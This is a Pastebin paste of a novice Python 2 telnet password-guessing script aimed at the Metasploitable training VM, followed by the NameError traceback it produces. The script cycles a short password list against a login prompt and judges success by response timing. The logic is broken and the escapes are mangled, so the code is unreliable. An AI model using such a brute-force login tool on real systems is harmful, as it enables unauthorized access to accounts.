Advertisement
Guest User

Untitled

a guest
Aug 9th, 2016
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1. import telnetlib
  2. import re
  3. import sys
  4. import time
  5. import getopt
  6. from time import gmtime, strftime
  7.  
  8. total_time_start = time.clock()
  9.  
  10. #Get the arguments from the user
  11. try:
  12. opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
  13. except getopt.GetoptError as err:
  14. print str(err)
  15. sys.exit(2)
  16.  
  17. passwords = ["hello","test", "msfadmin", "password"]
  18. username = " "
  19. ip = "0.0.0.0"
  20. output_file = " "
  21.  
  22.  
  23. for o, a in opts:
  24. if o == "-i":
  25. ip = a
  26. elif o in ("-u"):
  27. username =a
  28. elif o in ("-f"):
  29. output_file = a
  30. file_out()
  31. else:
  32. assert False, "unhandled option"
  33.  
  34. #Connect using the password and username from the for loop later in the script.
  35. def connect(username, password, ip):
  36. global tn
  37. tn = telnetlib.Telnet(ip)
  38.  
  39. print "[*] Trying " + username + " and " + password
  40.  
  41. tn.read_until("metasploitable login: ")
  42. tn.write(username + "n")
  43. tn.read_until("Password: ")
  44. tn.write(password + "n")
  45.  
  46. #Guess the password
  47. for password in passwords:
  48. attempt = connect(username, password, ip)
  49. time_start = time.clock()
  50. if attempt == tn.read_until("msfadmin@metasploitable", timeout = 1):
  51. pass
  52. time_end = time.clock()
  53. time_finish = time_end - time_start
  54. #Determine if the password is correct or not
  55. if time_finish > 0.001000:
  56. print "33[1;32;40m [*] Password '" + password + "' found for user '" + username+"'33[0;37;40mn"
  57. total_time_end = time.clock()
  58.  
  59. total_time = (total_time_end - total_time_start)
  60.  
  61. #Print the findings to a file that is selected from an argument
  62. def file_out():
  63. date = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime())
  64. fout = open(output_file, 'w')
  65. fout.write("Server IP: " + ip)
  66. fout.write("nUsername is " + username)
  67. fout.write("Password is " + password)
  68. fout.write("nCrack was conducted on " + date)
  69. fout.write("The crack took a total time of " + total_time)
  70.  
  71. sys.exit(0)
  72.  
  73. Traceback (most recent call last):
  74. File "telnet_cracker.py", line 49, in <module>
  75. file_out()
  76. NameError: name 'file_out' is not defined
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement